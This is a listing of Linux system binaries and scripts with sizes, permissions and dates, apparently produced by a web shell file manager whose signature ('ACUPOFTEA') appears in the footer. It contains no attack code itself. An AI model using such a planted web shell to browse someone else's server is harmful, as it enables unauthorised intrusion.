2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvdisplay
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvmove
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvremove
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvresize
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvs
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvscan
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pwck
application/x-pie-executable
50.13 KB
-rwxr-xr-x
2024-02-06 12:54:23
pwconv
application/x-pie-executable
46.01 KB
-rwxr-xr-x
2024-02-06 12:54:23
pwunconv
application/x-pie-executable
42.01 KB
-rwxr-xr-x
2024-02-06 12:54:23
readprofile
application/x-pie-executable
22.41 KB
-rwxr-xr-x
2026-03-06 04:10:04
reboot
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
remove-shell
text/x-shellscript
1.07 KB
-rwxr-xr-x
2022-03-23 01:49:54
resize2fs
application/x-pie-executable
66.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
rmmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
rmt
application/x-pie-executable
58.57 KB
-rwxr-xr-x
2026-07-20 02:42:36
rmt-tar
application/x-pie-executable
58.57 KB
-rwxr-xr-x
2026-07-20 02:42:36
rsyslogd
application/x-pie-executable
767.19 KB
-rwxr-xr-x
2026-07-20 04:31:06
rtacct
application/x-pie-executable
28.31 KB
-rwxr-xr-x
2026-04-15 07:15:26
rtcwake
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
rtmon
application/x-pie-executable
90.39 KB
-rwxr-xr-x
2026-04-15 07:15:26
runlevel
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
runuser
application/x-pie-executable
54.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
service
text/x-shellscript
8.88 KB
-rwxr-xr-x
2022-02-15 10:32:46
setcap
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-04-09 03:04:48
setvesablank
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
setvtrgb
application/x-pie-executable
14.29 KB
-rwxr-xr-x
2022-12-16 02:14:33
sfdisk
application/x-pie-executable
102.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
sgdisk
application/x-pie-executable
162.48 KB
-rwxr-xr-x
2022-03-23 01:53:46
shadowconfig
text/x-shellscript
885 B
-rwxr-xr-x
2021-11-11 03:42:38
shutdown
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
split-logfile
text/x-perl
2.36 KB
-rwxr-xr-x
2026-07-06 04:41:46
sshd
application/x-pie-executable
899.7 KB
-rwxr-xr-x
2026-07-09 06:38:00
start-stop-daemon
application/x-pie-executable
47.35 KB
-rwxr-xr-x
2025-09-09 08:09:16
sudo_logsrvd
application/x-pie-executable
200.1 KB
-rwxr-xr-x
2026-03-02 01:08:06
sudo_sendlog
application/x-pie-executable
107.34 KB
-rwxr-xr-x
2026-03-02 01:08:06
sulogin
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
swaplabel
application/x-pie-executable
18.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
swapoff
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
swapon
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
switch_root
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
sysctl
application/x-pie-executable
30.23 KB
-rwxr-xr-x
2023-10-31 11:36:04
tarcat
text/x-shellscript
936 B
-rwxr-xr-x
2026-07-20 02:42:36
tc
application/x-pie-executable
618.08 KB
-rwxr-xr-x
2026-04-15 07:15:26
telinit
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
thermald
application/x-pie-executable
554.6 KB
-rwxr-xr-x
2023-08-10 07:36:06
thin_check
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_delta
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_dump
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_ls
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_metadata_size
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_repair
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_restore
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_rmap
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
thin_trim
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
tipc
application/x-pie-executable
90.44 KB
-rwxr-xr-x
2026-04-15 07:15:26
tune2fs
application/x-pie-executable
102.55 KB
-rwxr-xr-x
2023-10-09 01:50:10
tzconfig
text/x-shellscript
106 B
-rwxr-xr-x
2026-07-17 12:51:09
u-d-c-print-pci-ids
text/x-shellscript
517 B
-rwxr-xr-x
2024-07-05 08:55:40
ufw
text/x-script.python
4.82 KB
-rwxr-xr-x
2023-07-17 01:55:25
umount.udisks2
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2025-08-21 02:17:01
unix_chkpwd
application/x-pie-executable
26.15 KB
-rwxr-sr-x
2026-07-16 02:06:00
unix_update
application/x-pie-executable
30.15 KB
-rwxr-xr-x
2026-07-16 02:06:00
update-ca-certificates
text/x-shellscript
5.29 KB
-rwxr-xr-x
2026-06-15 04:17:29
update-grub
text/x-shellscript
64 B
-rwxr-xr-x
2022-12-02 03:18:47
update-grub-gfxpayload
text/x-shellscript
301 B
-rwxr-xr-x
2015-03-27 05:50:35
update-grub2
text/x-shellscript
64 B
-rwxr-xr-x
2022-12-02 03:18:47
update-gsfontmap
text/x-shellscript
470 B
-rwxr-xr-x
2025-09-25 04:42:27
update-info-dir
text/x-shellscript
1.66 KB
-rwxr-xr-x
2022-02-06 12:48:45
update-initramfs
text/x-shellscript
6.74 KB
-rwxr-xr-x
2024-03-19 12:05:17
update-locale
text/x-perl
2.99 KB
-rwxr-xr-x
2025-07-15 09:40:00
update-mime
text/x-perl
9.39 KB
-rwxr-xr-x
2026-07-03 01:05:05
update-passwd
application/x-pie-executable
34.56 KB
-rwxr-xr-x
2022-03-23 09:42:40
update-pciids
text/x-shellscript
1.71 KB
-rwxr-xr-x
2021-08-30 02:45:58
update-rc.d
text/x-perl
16.92 KB
-rwxr-xr-x
2021-12-07 09:55:54
update-shells
text/x-shellscript
3.72 KB
-rwxr-xr-x
2022-03-23 01:49:54
upgrade-from-grub-legacy
text/x-shellscript
1.56 KB
-rwxr-xr-x
2022-12-02 03:18:47
usb_modeswitch
application/x-pie-executable
59.66 KB
-rwxr-xr-x
2022-03-25 09:53:05
usb_modeswitch_dispatcher
text/plain
26.78 KB
-rwxr-xr-x
2022-03-25 09:53:05
usbmuxd
application/x-pie-executable
86.6 KB
-rwxr-xr-x
2025-12-11 01:43:43
useradd
application/x-pie-executable
127.66 KB
-rwxr-xr-x
2024-02-06 12:54:23
userdel
application/x-pie-executable
86.85 KB
-rwxr-xr-x
2024-02-06 12:54:23
usermod
application/x-pie-executable
123.46 KB
-rwxr-xr-x
2024-02-06 12:54:23
uuidd
application/x-pie-executable
30.85 KB
-rwxr-xr-x
2026-03-06 04:10:04
validlocale
text/x-perl
1.73 KB
-rwxr-xr-x
2025-07-15 09:40:00
vcstime
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2022-12-16 02:14:33
vdpa
application/x-pie-executable
30.56 KB
-rwxr-xr-x
2026-04-15 07:15:26
veritysetup
application/x-pie-executable
43.76 KB
-rwxr-xr-x
2024-11-14 03:21:19
vgcfgbackup
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgcfgrestore
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgchange
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgck
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgconvert
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgcreate
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgdisplay
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgexport
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgextend
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgimport
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgimportclone
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgmerge
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgmknodes
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgreduce
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgremove
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgrename
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgs
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgscan
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgsplit
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vigr
application/x-pie-executable
56.53 KB
-rwxr-xr-x
2024-02-06 12:54:23
vipw
application/x-pie-executable
56.53 KB
-rwxr-xr-x
2024-02-06 12:54:23
visudo
application/x-pie-executable
219.79 KB
-rwxr-xr-x
2026-03-02 01:08:06
vpddecode
application/x-pie-executable
14.58 KB
-rwxr-xr-x
2024-10-14 08:28:46
wipefs
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
xfs_admin
text/x-shellscript
1.37 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_bmap
text/x-shellscript
695 B
-rwxr-xr-x
2024-10-17 06:49:09
xfs_copy
application/x-pie-executable
82.48 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_db
application/x-pie-executable
652.44 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_estimate
application/x-pie-executable
14.16 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_freeze
text/x-shellscript
800 B
-rwxr-xr-x
2024-10-17 06:49:09
xfs_fsr
application/x-pie-executable
42.18 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_growfs
application/x-pie-executable
38.28 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_info
text/x-shellscript
1.26 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_io
application/x-pie-executable
199.55 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_logprint
application/x-pie-executable
78.33 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_mdrestore
application/x-pie-executable
26.17 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_metadump
text/x-shellscript
782 B
-rwxr-xr-x
2024-10-17 06:49:09
xfs_mkfile
text/x-shellscript
1.02 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_ncheck
text/x-shellscript
685 B
-rwxr-xr-x
2024-10-17 06:49:09
xfs_quota
application/x-pie-executable
90.16 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_repair
application/x-pie-executable
599.38 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_rtcp
application/x-pie-executable
18.15 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_scrub
application/x-pie-executable
106.27 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_scrub_all
text/x-script.python
5.87 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_spaceman
application/x-pie-executable
42.3 KB
-rwxr-xr-x
2024-10-17 06:49:09
xtables-legacy-multi
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
xtables-monitor
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
xtables-nft-multi
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
zerofree
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2022-03-25 09:54:54
zic
application/x-pie-executable
62.32 KB
-rwxr-xr-x
2026-07-24 12:11:17
zramctl
application/x-pie-executable
54.52 KB
-rwxr-xr-x
2026-03-06 04:10:04
~ ACUPOFTEA - www.loginstore.com